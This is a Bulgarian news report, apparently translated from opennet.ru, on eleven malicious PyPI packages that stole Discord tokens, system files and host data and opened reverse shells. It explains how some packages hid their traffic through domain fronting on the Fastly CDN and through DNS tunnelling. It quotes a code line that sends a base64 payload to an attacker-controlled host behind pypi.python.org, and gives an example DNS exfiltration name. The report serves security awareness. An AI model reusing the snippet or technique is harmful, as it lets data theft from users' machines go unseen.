В каталога на PyPI са идентифицирани злонамерени библиотеки, които използват PyPI CDN, за да скрият комуникационния канал

В директорията на PyPI (Python Package Index) са идентифицирани 11 пакета, съдържащи зловреден код. Преди да бъдат идентифицирани проблемите, пакетите са били изтеглени общо около 38 хиляди пъти. Откритите злонамерени пакети се отличават с използването на сложни методи за скриване на комуникационни канали със сървърите на нападателите.

• importantpackage (6305 изтегляния), important-package (12897) - установи връзка с външен сървър под прикритието на свързване към pypi.python.org, за да осигури достъп до системата (обратен шел) и използва програмата trevorc2, за да скрие комуникационен канал.
• pptest (10001), ipboards (946) - използва DNS като комуникационен канал за предаване на информация за системата (в първия пакет името на хоста, работната директория, вътрешния и външния IP, във втория - потребителското име и името на хоста) .
• owlmoon (3285), DiscordSafety (557), yiffparty (1859) - идентифицира токена на услугата Discord в системата и го изпрати на външен хост.
• trrfab (287) - изпрати идентификатора, името на хоста и съдържанието на /etc/passwd, /etc/hosts, /home към външния хост.
• 10Cent10 (490) - установява връзка с обратна обвивка с външен хост.
• yandex-yt (4183) - показва съобщение за компрометирана система и пренасочване към страница с допълнителна информация за по-нататъшни действия, издадени чрез nda.ya.ru (api.ya.cc).

Особено внимание заслужава методът за достъп до външни хостове, използван в пакетите importantpackage и important-package, които използваха мрежата за доставка на съдържание Fastly, използвана в директорията PyPI, за да скрият своята дейност. Всъщност заявките бяха изпратени до сървъра pypi.python.org (включително указване на името python.org в SNI в HTTPS заявката), но заглавката на HTTP „Хост“ включваше името на сървъра, контролиран от нападателите (сек. forward.io. global.prod.fastly.net). Мрежата за доставка на съдържание изпрати подобна заявка до атакуващия сървър, използвайки параметрите на TLS връзката към pypi.python.org при предаване на данни.

Инфраструктурата на PyPI се захранва от мрежата за доставка на съдържание Fastly, която използва прозрачния прокси Varnish за кеширане на типични заявки и също така използва обработка на TLS сертификати на ниво CDN, а не на крайните сървъри, за препращане на HTTPS заявки през прокси. Независимо от целевия хост, заявките се изпращат до проксито, което определя желания хост с помощта на заглавката HTTP „Host“, а имената на домейните на хоста са свързани с IP адресите на CDN load balancer, които са типични за всички клиенти на Fastly.

Сървърът на атакуващите също се регистрира в CDN Fastly, който предоставя безплатни планове на всички и дори позволява анонимна регистрация. Трябва да се отбележи, че за изпращане на заявки до жертвата при създаване на „обратна обвивка“ също се използва схема, но инициирана от страна на хоста на нападателя. Отвън взаимодействието със сървъра на нападателя изглежда като легитимна сесия с PyPI директорията, криптирана с PyPI TLS сертификат. Подобна техника, известна като „представяне на домейн“, преди това беше активно използвана за скриване на името на хоста при заобикаляне на блокирането, като се използва възможността, предоставена в някои CDN мрежи за достъп до HTTPS чрез посочване на фиктивен хост в SNI и действително предаване на името на заявен хост в заглавката на HTTP хост вътре в TLS сесия.

За да скрие злонамерена дейност, пакетът TrevorC2 беше допълнително използван, за да направи взаимодействието със сървъра подобно на обикновената уеб навигация, например, злонамерени заявки бяха изпратени под прикритието на изтегляне на изображението „https://pypi.python.org/images/ guid=” с кодиране на информация в параметър guid. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

Пакетите pptest и ipboards използваха различен подход за скриване на мрежовата активност, базиран на кодиране на полезна информация в заявки към DNS сървъра. Зловреден софтуер предава информация, като изпълнява DNS заявки като „nu4timjagq4fimbuhe.example.com“, в които данните, предадени на контролния сървър, са кодирани с помощта на base64 формат в името на поддомейна. Нападателят получава тези съобщения, като контролира DNS сървъра за домейна example.com.

Източник: opennet.ru